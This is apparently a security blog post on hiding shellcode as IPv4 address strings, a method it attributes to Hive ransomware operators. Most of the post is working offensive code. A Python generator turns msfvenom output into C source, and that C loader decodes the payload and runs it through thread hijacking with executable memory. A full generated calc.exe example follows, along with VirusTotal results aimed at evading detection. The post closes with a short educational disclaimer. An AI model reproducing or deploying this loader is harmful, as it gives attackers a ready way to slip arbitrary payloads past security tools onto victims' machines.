Shellcode obfuscation refers to techniques that disguise shellcode to evade detection by security tools. IPv4 obfuscation is a clever method where raw shellcode bytes are encoded into IPv4 addresses, taking advantage of their common and seemingly benign nature.
For example, a shellcode byte sequence such as:
fc4883e4f0e8c0000000415141505256...
can be split into groups of four bytes and represented as:
252.72.131.228, 240.232.192.0, 65.81.65.80...
This transformation helps threat actors hide malicious payloads in plain sight.
Hive ransomware has demonstrated the use of IPv4 obfuscation for shellcode as part of its defense evasion arsenal. This technique allows Hive operators to:
For ease, wrote a Python script, ipv4.py, that takes hex input from msfvenom
and pads if necessary then outputs example C code that deobfuscates the IPv4 addresses back to shellcode and executes it via local thread hijacking:
import socket
import struct
import argparse
import sys
import os
def generate_ipv4(a, b, c, d):
return f"{a}.{b}.{c}.{d}"
def pad_shellcode(shellcode_bytes):
while len(shellcode_bytes) % 4 != 0:
# NOP padding
shellcode_bytes += b'\x90'
return shellcode_bytes
def generate_ipv4_output(shellcode_bytes):
ipv4_array = []
for i in range(0, len(shellcode_bytes), 4):
a, b, c, d = struct.unpack('<BBBB', shellcode_bytes[i:i+4])
ipv4_array.append(generate_ipv4(a, b, c, d))
return ipv4_array
def main():
parser = argparse.ArgumentParser(description="MSFVenom IPv4 Obfuscation Tool")
parser.add_argument("-o", "--output", help="Output C source file for IPv4 array and deobfuscation", required=True)
args = parser.parse_args()
shellcode_hex = sys.stdin.read().strip()
shellcode_bytes = bytes.fromhex(shellcode_hex)
shellcode_bytes = pad_shellcode(shellcode_bytes)
ipv4_array = generate_ipv4_output(shellcode_bytes)
with open(args.output, "w") as f:
f.write("#define _WIN32_WINNT 0x0600\n")
f.write("#include <winsock2.h>\n#include <windows.h>\n#include <ws2tcpip.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n")
f.write(f"char* Ipv4Array[] = {{\n")
for i, ip in enumerate(ipv4_array):
f.write(f" \"{ip}\"{',' if i < len(ipv4_array) - 1 else ''}\n")
f.write("};\n\n#define NumberOfElements " + str(len(ipv4_array)) + "\n\n")
f.write(open('deobfuscation_template.c').read())
Full source code can be found within here.
For example, piping in MSFVenom hex for calc.exe
$ msfvenom -p windows/x64/exec CMD="calc.exe" -f hex | python ipv4.py -o calc.c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of hex file: 552 bytes
$ cat calc.c
#define _WIN32_WINNT 0x0600
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char* Ipv4Array[] = {
"252.72.131.228",
"240.232.192.0",
"0.0.65.81",
"65.80.82.81",
"86.72.49.210",
"101.72.139.82",
"96.72.139.82",
"24.72.139.82",
"32.72.139.114",
"80.72.15.183",
"74.74.77.49",
"201.72.49.192",
"172.60.97.124",
"2.44.32.65",
"193.201.13.65",
"1.193.226.237",
"82.65.81.72",
"139.82.32.139",
"66.60.72.1",
"208.139.128.136",
"0.0.0.72",
"133.192.116.103",
"72.1.208.80",
"139.72.24.68",
"139.64.32.73",
"1.208.227.86",
"72.255.201.65",
"139.52.136.72",
"1.214.77.49",
"201.72.49.192",
"172.65.193.201",
"13.65.1.193",
"56.224.117.241",
"76.3.76.36",
"8.69.57.209",
"117.216.88.68",
"139.64.36.73",
"1.208.102.65",
"139.12.72.68",
"139.64.28.73",
"1.208.65.139",
"4.136.72.1",
"208.65.88.65",
"88.94.89.90",
"65.88.65.89",
"65.90.72.131",
"236.32.65.82",
"255.224.88.65",
"89.90.72.139",
"18.233.87.255",
"255.255.93.72",
"186.1.0.0",
"0.0.0.0",
"0.72.141.141",
"1.1.0.0",
"65.186.49.139",
"111.135.255.213",
"187.240.181.162",
"86.65.186.166",
"149.189.157.255",
"213.72.131.196",
"40.60.6.124",
"10.128.251.224",
"117.5.187.71",
"19.114.111.106",
"0.89.65.137",
"218.255.213.99",
"97.108.99.46",
"101.120.101.0"
};
#define NumberOfElements 69
typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
PCSTR S,
BOOLEAN Strict,
PCSTR* Terminator,
PVOID Addr
);
VOID DummyFunction() {
int j = rand();
int i = j*j;
}
BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = 0;
PCSTR Terminator = NULL;
NTSTATUS STATUS;
// Getting RtlIpv4StringToAddressA address from ntdll.dll
fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
if (pRtlIpv4StringToAddressA == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of IPv4 addresses * 4
sBuffSize = NmbrOfElements * 4;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL){
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
// Loop through all the IPv4 addresses saved in Ipv4Array
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one IPv4 address at a time
// Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
return FALSE;
}
// 4 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 4);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// Allocating memory for the payload
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL){
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Copying the payload to the allocated memory
memcpy(pAddress, pPayload, sPayloadSize);
// Changing the memory protection
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the original thread context
if (!GetThreadContext(hThread, &ThreadCtx)){
printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Updating the next instruction pointer to be equal to the payload's address
ThreadCtx.Rip = pAddress;
// Updating the new thread context
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
PBYTE pDeobfuscatedPayload;
SIZE_T sDeobfuscatedSize = 0;
DWORD dwOldProtection = 0;
if (!Ipv4Deobfuscation(Ipv4Array, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
return -1;
}
printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDeobfuscatedPayload, sDeobfuscatedSize);
for (size_t i = 0; i < sDeobfuscatedSize; i++){
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", pDeobfuscatedPayload[i]);
}
printf("[+] DONE !\n");
printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);
HANDLE hThread = NULL;
// Creating sacrificial thread in suspended state
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Hijacking the sacrificial thread created
if (!RunViaClassicThreadHijacking(hThread, pDeobfuscatedPayload, sDeobfuscatedSize)) {
return -1;
}
printf("Resuming Thread");
// Resuming suspended thread, so that it runs our shellcode
ResumeThread(hThread);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Then compiling the C code via Visual Studio.
Testing the effectiveness of this obfuscation, the generated exe was uploaded to VirusTotal and compared with an exe with no deobfuscation
Which slightly beats out the basic thread hijacker with Calc PoC shellcode:
IPv4 shellcode obfuscation is an technique employed by threat actors like Hive ransomware operators to evade detection. By understanding and replicating such methods, can improve defenses and stay ahead of evolving threats.
Highly likely the VirusTotal detection score for the IPv4 Deobfuscation PoC can be reduced even further with a more advanced shellcode runner.
There is also similar obfuscation ideas, using IPv6 format, UUID, MAC addresses. The proof of concept tool could be developed further to include these.
*Disclaimer: This tool and blog post are intended for educational and research purposes only.*